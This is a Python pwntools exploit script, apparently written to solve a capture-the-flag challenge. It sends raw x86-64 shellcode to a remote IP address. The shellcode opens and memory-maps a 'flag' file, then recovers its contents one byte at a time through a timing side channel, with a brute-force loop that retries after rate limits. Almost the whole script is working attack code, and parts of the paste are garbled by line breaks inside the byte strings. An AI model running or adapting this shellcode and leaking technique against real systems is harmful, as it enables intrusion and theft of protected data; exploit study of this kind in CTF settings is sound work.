```
from pwn import *
from gt import *
import sys
con("amd64")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

zifu = "flag}{0123456789abcdefghijklmnopqrstuvwxyz"
list = [ord(x) for x in zifu]
print("list--->",list)
index = 0
flag = ""


payload =
b"\x48\xc7\xc7\x00\x00\x00\x00\x6a\x00\x68\x66\x6c\x61\x67\x48\xb9\x00\xb0\xad\xde\x00\
x00\x00\x00\x48\x89\xe7\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc0\x02\x00\x00\x00\x49\xc7
\xc0\x45\x03\x00\x00\x49\xc7\xc1\x4a\x06\x00\x00\x4d\x31\xc8\x4c\x31\x41\x3e"
payload +=
b"\x00\x00\x48\xbf\x00\xb2\xad\xde\x00\x00\x00\x00\x48\xc7\xc6\x00\x01\x00\x00\x48\xc7\
xc2\x01\x00\x00\x00\x49\xc7\xc2\x02\x00\x00\x00\x49\xc7\xc0\x03\x00\x00\x00\x49\xc7\xc1
\x00\x00\x00\x00\x48\xc7\xc0\x09\x00\x00\x00\x49\xc7\xc4\x45\x03\x00\x00\x49\xc7\xc3\x4
a\x06\x00\x00\x48\xb9\x92\xb0\xad\xde\x00\x00\x00\x00\x4d\x31\xdc\x4c\x31\x21\x00\x00"
# gdb.attach(io)

shellcode = '''
mov bl, byte ptr [rax+{}]
cmp bl,{}
jz $-0x3
'''

while True:
    for i in range(len(zifu)):
        try:
            io = remote("47.98.117.93",49490)
            # sleep(0.1)
            io.recvuntil("ideas!")
            # sleep(1)
            io.send(payload+asm(shellcode.format(index,list[i])))
            panduan = io.recv(timeout=2)
            panduan1 = io.recv(timeout=2)
            if b"limit" in panduan:
                io.close()
                sleep(31)
```

```
                if panduan1 == b'':
                    flag+=chr(list[i])
                    print("flag---->",flag)
                    index +=1
                    sleep(2.5)
                    break
            except Exception as e:
                sleep(1)
                print(f"错误: {e}")
            finally:
                sleep(1.5)
                io.close()

        if "}" in flag:
            print("最终 flag---->",flag)
            break
io.send(payload)
```